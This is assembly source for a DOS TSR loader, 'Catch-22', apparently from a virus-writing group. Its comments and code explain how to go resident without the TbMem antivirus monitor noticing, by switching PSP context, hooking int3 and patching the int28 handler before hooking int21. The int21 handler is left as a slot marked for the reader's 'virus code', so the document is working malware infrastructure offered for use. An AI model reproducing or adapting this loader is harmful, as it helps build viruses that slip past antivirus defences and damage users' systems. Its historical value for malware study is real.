
; Catch-22, a TSR loader by Rhincewind [Vlad]
;
; This is probably the most experimental thing I've done so far. In this 
; loader I've combined a few things I learned about tbmem into a pretty 
; neat loader that the current version of tbmem will not detect.
;
; The highloader is pretty straightforward, although it does use one
; trick I found. It traces the PSP chain all the way back to the command
; interpreter, then makes that PSP active before a block is allocated for
; the loader. This so-called 'context switching' will make the newly
; allocated block property of your command interpreter, ensuring it's
; lasting residency. Down with direct MCB twiddling!
;
; Now tbmem comes into play. First, two facts:
;
; Fact 1 - Tbmem detects residency on vectorchanges only. It can't be
;          bothered to look at the memory itself.
; Fact 2 - Tbmem does not flag on intel reserved registers being hooked.
;
; For starters the loader will hook int3, thereby not alerting tbmem as
; above. The first byte of the int28 handler, which is an IRET in the
; original handler, will be overwritten
; with an int3. Now, as you probably know, only the command
; interpreter calls int28 (Okay, so do Terminate and a handful of other
; programs, watch out for those) which is redirected to our routine.
; We managed to get a routine active around tbmem! Hurray! Now, the int3
; handler will countdown 75 times, 13 is the minimum btw, to make sure
; that we're back in command mode, that is, out of the dos deallocation
; routines before we hook int21, which again, will elude tbmem. Both int28 
; and int3 are restored and we're done with our loader.

                .model tiny
                .code
                org 100h
parasize        equ (endloader-start)
start:
                mov ax, 'TB'
                int 21h
                cmp ax, 'AV'
                jz exit_tsr
                mov ah, 4ah
                mov bx,-1
                push ax
                int 21h
                pop ax
                sub bx, parasize+2
                int 21h
                xor si,si
nextpsp:
                cmp bx, word ptr ds:[si+16h]
                mov bx, word ptr ds:[si+16h]
                mov ds,bx
                jnz nextpsp
found_cmd:
                mov ah, 50h
                int 21h
                mov ah, 48h
                mov bx,parasize+1
                int 21h
                mov es,ax
                mov ah, 50h
                mov bx,cs
                int 21h
                push cs
                pop ds
                mov si, 100h
                xor di,di
                mov cx, endloader-start
                rep movsb
                mov ds,cx
                mov si, 3*4
                movsw
                movsw
                cli
                mov word ptr [si-4],offset install_21-100h
                mov word ptr [si-2],es
                sti
                mov si, 28h*4
                movsw
                movsw
                mov ax,75h
                stosw
                mov word ptr es:[di],75h
                lds bx, dword ptr ds:[si-4]
                mov al, 0cch
                xchg byte ptr ds:[bx],al
                stosb
                ;Restore all registers here, including DS&ES
exit_tsr:                
                int 20h
install_21:     
                dec word ptr cs:counter-100h
                jnz exit_int3
                push ax
                push di
                push ds
                push es
                xor ax,ax
                mov ds,ax
                les di, dword ptr cs:int2offset-100h
                mov al, byte ptr cs:orgbyte-100h
                stosb
                cli
                les di, dword ptr cs:intoffset-100h
                mov word ptr ds:[0ch],di
                mov word ptr ds:[0eh],es
                mov ax,offset int21-100h
                xchg ax, word ptr ds:[84h]
                mov cs:intoffset-100h,ax
                mov ax,cs
                xchg ax, word ptr ds:[86h]
                mov cs:intseg-100h,ax
                sti
                pop es
                pop ds
                pop di
                pop ax
exit_int3:                
                add sp,6
                iret
;Replace the handler below with your k-rad virus code.
int21:
                cmp ax,'TB'
                jnz return_int
                mov ax, 'AV'
                iret
return_int:                
                jmp dword ptr cs:intoffset-100h
endloader:
intoffset      dw ?
intseg         dw ?
int2offset     dw ?
int2seg        dw ?
counter        dw ?
orgbyte        db ?

                end start


